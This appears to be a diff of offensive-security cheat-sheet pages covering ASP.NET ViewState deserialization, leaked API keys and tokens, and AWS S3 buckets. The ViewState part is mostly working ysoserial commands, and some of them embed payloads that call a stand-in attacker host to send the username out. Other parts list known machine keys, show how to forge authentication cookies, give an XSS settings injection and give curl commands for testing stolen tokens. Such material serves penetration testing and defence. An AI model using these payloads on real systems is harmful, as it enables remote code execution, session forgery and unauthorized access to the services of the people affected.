\/ \/ \/ \/ \/
|
||||||
|
|
||||||
|
KEY FOUND!!!
|
||||||
|
Host:
|
||||||
|
Validation Key: XXXXX,XXXXX
|
||||||
|
```
|
||||||
|
|
||||||
|
* [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets)
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
|
||||||
|
Matching MachineKeys found!
|
||||||
|
validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
|
||||||
|
```
|
||||||
|
|
||||||
|
* [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
|
||||||
|
```
|
||||||
|
|
||||||
|
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
|
||||||
|
[+] ViewState is not encrypted
|
||||||
|
[+] Signature algorithm: SHA1
|
||||||
|
```
|
||||||
|
|
||||||
|
List of interesting machine keys to use:
|
||||||
|
|
||||||
|
* [NotSoSecure/Blacklist3r/MachineKeys.txt](https://github.com/NotSoSecure/Blacklist3r/raw/f10304bc90efaca56676362a981d93cc312d9087/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt)
|
||||||
|
* [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt)
|
||||||
|
* [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)
|
||||||
|
|
||||||
|
|
||||||
|
## Decode ViewState
|
||||||
|
|
||||||
|
* [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
|
||||||
|
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
|
||||||
|
```powershell
|
||||||
|
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Generate ViewState For RCE
|
||||||
|
|
||||||
|
First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
|
||||||
|
|
||||||
|
**Requirements**
|
||||||
|
|
||||||
|
* `__VIEWSTATE`
|
||||||
|
* `__VIEWSTATEGENERATOR`
|
||||||
|
|
||||||
|
|
||||||
|
### MAC Is Not Enabled
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### MAC Is Enabled And Encryption Is Disabled
|
||||||
|
|
||||||
|
* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
|
||||||
|
```ps1
|
||||||
|
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
|
||||||
|
# --modifier = `__VIEWSTATEGENERATOR` parameter value
|
||||||
|
# --encrypteddata = `__VIEWSTATE` parameter value of the target application
|
||||||
|
```
|
||||||
|
|
||||||
|
* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
|
||||||
|
```ps1
|
||||||
|
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||||
|
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||||
|
|
||||||
|
# --generator = `__VIEWSTATEGENERATOR` parameter value
|
||||||
|
# --validationkey = validation key from the previous command
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### MAC Is Enabled And Encryption Is Enabled
|
||||||
|
|
||||||
|
Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
|
||||||
|
|
||||||
|
If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
|
||||||
|
|
||||||
|
* **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
|
||||||
|
```ps1
|
||||||
|
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
||||||
|
```
|
||||||
|
|
||||||
|
* **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
|
||||||
|
```ps1
|
||||||
|
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Edit Cookies With The Machine Key
|
||||||
|
|
||||||
|
If you have the `machineKey` but the viewstate is disabled.
|
||||||
|
|
||||||
|
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# decrypt cookie
|
||||||
|
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
|
||||||
|
|
||||||
|
# encrypt cookie (edit Decrypted.txt)
|
||||||
|
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||||
|
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||||
|
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
|
||||||
|
* [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/)
|
||||||
|
* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)
|
||||||
@@ -1,224 +1,95 @@
|
|||||||
# API Key Leaks
|
# API Key and Token Leaks
|
||||||
|
|
||||||
> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
|
> API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
- [Tools](#tools)
|
- [Tools](#tools)
|
||||||
- [Exploit](#exploit)
|
- [Methodology](#exploit)
|
||||||
- [Google Maps](#google-maps)
|
- [Common Causes of Leaks](#common-causes-of-leaks)
|
||||||
- [Algolia](#algolia)
|
- [Validate The API Key](#validate-the-api-key)
|
||||||
- [AWS Access Key ID & Secret](#aws-access-key-id--secret)
|
- [References](#references)
|
||||||
- [Slack API Token](#slack-api-token)
|
|
||||||
- [Facebook Access Token](#facebook-access-token)
|
|
||||||
- [Github client id and client secret](#github-client-id-and-client-secret)
|
|
||||||
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
|
|
||||||
- [Twitter API Secret](#twitter-api-secret)
|
|
||||||
- [Twitter Bearer Token](#twitter-bearer-token)
|
|
||||||
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
|
|
||||||
- [HockeyApp API Token](#hockeyapp-api-token)
|
|
||||||
- [IIS Machine Keys](#iis-machine-keys)
|
|
||||||
- [Mapbox API Token](#Mapbox-API-Token)
|
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
- [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder)
|
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
|
||||||
- [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks)
|
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
|
||||||
- [truffleHog - Find credentials all over the place](https://github.com/trufflesecurity/truffleHog)
|
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
|
||||||
```ps1
|
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
|
||||||
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
|
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
|
||||||
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
|
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
|
||||||
trufflehog git https://github.com/trufflesecurity/trufflehog.git
|
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
|
||||||
trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2
|
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
|
||||||
|
```powershell
|
||||||
|
nuclei -t token-spray/ -var token=token_list.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
## Exploit
|
|
||||||
|
|
||||||
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.
|
## Methodology
|
||||||
|
|
||||||
### Google Maps
|
* **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
|
||||||
|
* **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
|
||||||
|
|
||||||
Use : https://github.com/ozguralp/gmapsapiscanner/
|
### Common Causes of Leaks
|
||||||
|
|
||||||
Usage:
|
* **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
|
||||||
| Name | Endpoint |
|
|
||||||
| --- | --- |
|
```py
|
||||||
| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE |
|
# Example of hardcoded API key
|
||||||
| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE |
|
api_key = "1234567890abcdef"
|
||||||
| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE |
|
```
|
||||||
| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE |
|
|
||||||
| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
|
* **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
|
||||||
| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
|
|
||||||
| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
|
```ps1
|
||||||
| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
|
## Scan a Github Organization
|
||||||
| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
|
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
|
||||||
| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510×tamp=1331161200&key=KEY_HERE |
|
|
||||||
| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
|
## Scan a GitHub Repository, its Issues and Pull Requests
|
||||||
| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
|
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
# Scan a Docker image for verified secrets
|
||||||
|
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
|
||||||
|
|
||||||
|
* **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
|
||||||
|
|
||||||
|
|
||||||
Impact:
|
### Validate The API Key
|
||||||
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
|
|
||||||
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
|
|
||||||
|
|
||||||
### Algolia
|
If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.
|
||||||
|
|
||||||
```powershell
|
```yaml
|
||||||
curl --request PUT \
|
patterns:
|
||||||
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
|
- pattern:
|
||||||
--header 'content-type: application/json' \
|
name: AWS API Gateway
|
||||||
--header 'x-algolia-api-key: <example-key>' \
|
regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
|
||||||
--header 'x-algolia-application-id: <example-application-id>' \
|
confidence: low
|
||||||
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
|
- pattern:
|
||||||
|
name: AWS API Key
|
||||||
|
regex: AKIA[0-9A-Z]{16}
|
||||||
|
confidence: high
|
||||||
```
|
```
|
||||||
|
|
||||||
### Slack API Token
|
Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
|
||||||
|
|
||||||
```powershell
|
* **Example**: Telegram Bot API Token
|
||||||
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Facebook Access Token
|
```ps1
|
||||||
|
curl https://api.telegram.org/bot<TOKEN>/getMe
|
||||||
|
```
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
|
|
||||||
```
|
|
||||||
|
|
||||||
### Github client id and client secret
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Twilio Account_sid and Auth token
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
|
|
||||||
```
|
|
||||||
|
|
||||||
### Twitter API Secret
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Twitter Bearer Token
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Gitlab Personal Access Token
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### HockeyApp API Token
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### IIS Machine Keys
|
|
||||||
|
|
||||||
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
|
|
||||||
|
|
||||||
Requirements
|
|
||||||
* machineKey **validationKey** and **decryptionKey**
|
|
||||||
* __VIEWSTATEGENERATOR cookies
|
|
||||||
* __VIEWSTATE cookies
|
|
||||||
|
|
||||||
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
|
|
||||||
```
|
|
||||||
|
|
||||||
Common locations of **web.config** / **machine.config**
|
|
||||||
* 32-bit
|
|
||||||
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
|
|
||||||
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
|
|
||||||
* 64-bit
|
|
||||||
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
|
|
||||||
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
|
|
||||||
* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
|
|
||||||
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
|
|
||||||
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
|
|
||||||
|
|
||||||
|
|
||||||
#### Identify known machine key
|
|
||||||
|
|
||||||
* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
|
|
||||||
* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
|
|
||||||
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
|
|
||||||
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
|
|
||||||
[+] ViewState is not encrypted
|
|
||||||
[+] Signature algorithm: SHA1
|
|
||||||
|
|
||||||
# --encrypteddata : __VIEWSTATE parameter value of the target application
|
|
||||||
# --modifier : __VIEWSTATEGENERATOR parameter value
|
|
||||||
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Decode ViewState
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
|
|
||||||
|
|
||||||
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
|
|
||||||
|
|
||||||
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
#### Generate ViewState for RCE
|
|
||||||
|
|
||||||
**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
|
|
||||||
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
|
|
||||||
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
|
|
||||||
|
|
||||||
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
#### Edit cookies with the machine key
|
|
||||||
|
|
||||||
If you have the machineKey but the viewstate is disabled.
|
|
||||||
|
|
||||||
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# decrypt cookie
|
|
||||||
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
|
|
||||||
|
|
||||||
# encrypt cookie (edit Decrypted.txt)
|
|
||||||
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
### Mapbox API Token
|
|
||||||
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
|
|
||||||
```
|
|
||||||
#Check token validity
|
|
||||||
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
|
|
||||||
|
|
||||||
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
|
|
||||||
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
|
* [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
|
||||||
* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)
|
* [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
|
||||||
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
|
* [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
|
||||||
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
|
* [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
|
||||||
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)
|
|
||||||
@@ -1,168 +0,0 @@
|
|||||||
# Amazon Bucket S3 AWS
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
- [AWS Configuration](#aws-configuration)
|
|
||||||
- [Open Bucket](#open-bucket)
|
|
||||||
- [Basic tests](#basic-tests)
|
|
||||||
- [Listing files](#listing-files)
|
|
||||||
- [Move a file into the bucket](move-a-file-into-the-bucket)
|
|
||||||
- [Download every things](#download-every-things)
|
|
||||||
- [Check bucket disk size](#check-bucket-disk-size)
|
|
||||||
- [AWS - Extract Backup](#aws---extract-backup)
|
|
||||||
- [Bucket juicy data](#bucket-juicy-data)
|
|
||||||
|
|
||||||
|
|
||||||
## AWS Configuration
|
|
||||||
|
|
||||||
Prerequisites, at least you need awscli
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo apt install awscli
|
|
||||||
```
|
|
||||||
|
|
||||||
You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential
|
|
||||||
but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
aws configure
|
|
||||||
AWSAccessKeyId=[ENTER HERE YOUR KEY]
|
|
||||||
AWSSecretKey=[ENTER HERE YOUR KEY]
|
|
||||||
```
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
aws configure --profile nameofprofile
|
|
||||||
```
|
|
||||||
|
|
||||||
then you can use *--profile nameofprofile* in the aws command.
|
|
||||||
|
|
||||||
Alternatively you can use environment variables instead of creating a profile.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56
|
|
||||||
